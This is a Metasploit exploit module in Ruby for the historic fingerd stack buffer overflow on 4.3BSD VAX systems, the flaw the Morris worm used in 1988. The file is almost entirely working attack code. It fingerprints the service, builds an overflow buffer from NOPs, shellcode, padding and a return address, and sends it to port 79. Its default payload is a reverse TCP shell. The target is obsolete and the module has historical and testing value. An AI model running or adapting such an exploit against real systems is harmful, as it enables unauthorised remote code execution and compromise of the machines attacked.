113 lines
3.4 KiB
Ruby
113 lines
3.4 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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# This is so one-off that we define it here
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ARCH_VAX = 'vax'
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Morris Worm fingerd Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in fingerd on 4.3BSD.
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This vulnerability was exploited by the Morris worm in 1988-11-02.
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Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.
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},
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'Author' => [
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'Robert Tappan Morris', # Discovery? Exploit and worm for sure
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'Cliff Stoll', # The Cuckoo's Egg epilogue and inspiration
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'wvu' # Module, payload, and additional research
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],
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'References' => [
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['URL', 'https://en.wikipedia.org/wiki/Morris_worm'], # History
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['URL', 'https://spaf.cerias.purdue.edu/tech-reps/823.pdf'], # Analysis
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['URL', 'http://computerarcheology.com/Virus/MorrisWorm/'], # Details
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['URL', 'https://github.com/arialdomartini/morris-worm'], # Source
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['URL', 'http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH'] # Setup
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# And credit to the innumerable VAX ISA docs on the Web
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],
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'DisclosureDate' => '1988-11-02',
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'License' => MSF_LICENSE,
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'Platform' => 'bsd',
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'Arch' => ARCH_VAX,
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'Privileged' => false, # Depends on inetd.conf, usually "nobody"
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'Targets' => [
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# https://en.wikipedia.org/wiki/Source_Code_Control_System
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['@(#)fingerd.c 5.1 (Berkeley) 6/6/85',
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'Ret' => 0x7fffe9b0,
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'Payload' => {
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'Space' => 403,
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'BadChars' => "\n",
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'Encoder' => 'generic/none', # There is no spoon
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'DisableNops' => true # Hardcoded NOPs
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}
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]
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],
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'DefaultTarget' => 0,
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'DefaultOptions' => {'PAYLOAD' => 'bsd/vax/shell_reverse_tcp'}
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))
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register_options([Opt::RPORT(79)])
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end
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def check
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token = rand_text_alphanumeric(8..42)
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connect
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sock.put("#{token}\n")
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res = sock.get_once
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return CheckCode::Unknown unless res
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if res.include?("Login name: #{token}")
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return CheckCode::Detected
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end
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CheckCode::Safe
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rescue Rex::ConnectionError => e
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vprint_error(e.message)
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CheckCode::Unknown
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ensure
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disconnect
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end
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def exploit
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# Start by generating our custom VAX shellcode
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shellcode = payload.encoded
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# 0x01 is NOP in VAX-speak
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nops = "\x01" * (target.payload_space - shellcode.length)
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# This pads past buffer corruption
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padding = rand_text_alphanumeric(109)
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# This zeroes out part of the stack frame
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frame = "\x00" * 16
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# Finally, pack in our return address
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ret = [target.ret].pack('V') # V is for VAX!
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# The newline is for gets(3)
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sploit = nops + shellcode + padding + frame + ret + "\n"
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# Fire away
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print_status('Connecting to fingerd')
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connect
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print_status("Sending #{sploit.length}-byte buffer")
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sock.put(sploit)
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# Hat tip @bcoles
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rescue Rex::ConnectionError => e
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fail_with(Failure::Unreachable, e.message)
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ensure
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disconnect
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end
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end
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